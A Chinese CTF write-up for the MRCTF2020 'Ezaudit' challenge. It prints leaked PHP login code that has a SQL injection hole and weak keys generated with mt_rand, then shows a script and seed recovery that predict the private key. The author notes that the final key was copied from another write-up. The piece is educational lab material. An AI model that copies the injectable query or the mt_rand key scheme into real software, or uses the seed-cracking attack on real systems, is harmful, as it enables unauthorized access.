[MRCTF2020]Ezaudit

场景（说实话现在看到这种具体场景的都会心脏骤停一下）

扫路径扫到个www.zip

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥，咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

看到了mt_rand,考的应该是伪随机数。
进入login.html页面查看

用户名和密码可以用万能钥匙绕过，我们需要爆出私钥。公钥已经在最底行给我们了，我们利用公钥得到私钥。
用到工具php_mt_seed-4.0
先用下面的python脚本转换成工具能识别的参数

string = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
publicKey = "KVQP0LdJKRaV3n9D"
result=""

for i in publicKey:
    print(str(string.index(i))+" "+str(string.index(i))+" 0 "+"61",end=" ")

爆出seed 1775196155

mt_srand(1775196155);
function public_key($length = 16)
{
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ($i = 0; $i < $length; $i++)
        $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
}

//genarate private_key
function private_key($length = 12)
{
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ($i = 0; $i < $length; $i++)
        $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
}

echo public_key() . "<br>";
echo private_key();

跑出私钥XuNhoueCDCGc(不知道为什么我自己跑的一直都不对，只好用wp里面的答案)
登录

拿到flag